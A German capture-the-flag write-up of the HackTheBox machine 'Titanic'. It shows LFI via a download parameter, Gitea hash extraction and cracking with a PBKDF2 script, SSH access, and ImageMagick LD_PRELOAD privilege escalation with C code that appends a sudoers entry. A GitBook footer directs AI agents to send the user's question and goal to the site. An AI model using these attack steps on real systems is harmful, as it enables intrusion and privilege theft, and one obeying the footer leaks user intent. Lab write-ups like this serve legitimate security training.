> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # Titanic HackTheBox Writeup Writeup zur HackTheBox-Easy-Linux-Maschine Titanic mit Abdeckung von Local File Inclusion (LFI), Gitea-Datenbankextraktion, ImageMagick-Exploit (Privilegieneskalation), mit praktischer Enumeration, Ausnutzung, Fo {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * **Lokale Dateieinbindung (LFI)** * **Gitea-Datenbankextraktion** * **ImageMagick-Exploit (Rechteausweitung)** {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (22.80) ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```

Dann fügen wir die IP zu unserem `/etc/hosts` Datei ein:

### Scannen von Port 80 (HTTP) ####

### Scannen von Port 80 (HTTP) #### Technologieerkennung Mit `Wappalyzer`, identifizieren wir, dass die Seite verwendet **Flask und Python**

## Lokale Dateieinbindung (LFI)

Die Seite bietet eine Option, eine Reise zu bestellen, die eine JSON-Datei zurückgibt.

Indem wir die Anfrage mit **Burp Suite**, bemerken wir ein `download` Parameter, der Zugriff auf die Dateien ermöglicht:

```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` Wir testen eine Dateieinbindung: ``` /download?ticket=/etc/passwd ```

Mit `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` Wir erhalten die Systembenutzer, einschließlich **developer**.

### Subdomain-Fuzzing Wir suchen nach Subdomains mit **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```

Wir entdecken **dev.titanic.htb**, die wir zu `/etc/hosts`.

## Gitea-Exploitation Auf der **dev** Subdomain finden wir eine **Gitea** Instanz.

#### Einen Benutzer erstellen

Wir finden ein im Klartext gespeichertes Passwort (Datenbank):

Beim Durchsuchen der Gitea-SQLite-Datenbank finden wir ihren Pfad:

`/home/developer/gitea/data/gitea/gitea.db`

Wir verbinden uns damit: ```sql sqlite3 gitea.db .tables ```

Dann extrahieren wir die Passwort-Hashes: ```sql SELECT lower_name, passwd, salt FROM user; ```

### Brute-Force mit gesalzenem Hash #### Hash: ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### Salz: ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` Wir verwenden ein Python-Skript, um den Hash zu knacken: ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"Anzahl: {count}: {password}") if hash_value == target_hash_bytes: print(f"/nGefundenes Passwort: {password}") return password print("Passwort nicht gefunden.") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - Das gefundene Passwort ist **25282528**.

Wir verbinden uns per SSH: ```bash ssh developer@ticanic.htb ```

### Flagge user.txt :)

## Privilegieneskalation ### Cron-Job - ImageMagick-Exploitation In `/opt/`, finden wir ein Skript `script.sh` automatisch ausgeführt

```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > Dieses Shell-Skript wechselt zunächst in das `/opt/app/static/assets/images` Verzeichnis, dann leert es die `metadata.log` Datei, falls sie existiert. Dann sucht es nach allen `.jpg` Dateien in diesem Verzeichnis und verwendet ImageMagicks `identify` Befehl, um deren Metadaten (Größe, Format, Farbtiefe usw.) zu extrahieren. Diese Informationen werden dann in `metadata.log`gespeichert. Dieses Skript ermöglicht es also, eine aktualisierte Metadatendatei für alle im angegebenen Ordner vorhandenen JPG-Bilder zu erzeugen. Das Skript verwendet **ImageMagick**, eine verwundbare Version. ```bash magicks --version ```

### Ausnutzung über `LD_PRELOAD` Wir erstellen eine `a.c` Datei ein: ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` Kompilierung: ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```

Wir fügen es dem Verzeichnis hinzu, das überwacht und ausführbar ist von `ImageMagick`. Dann führen wir aus: ```bash su root ```

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.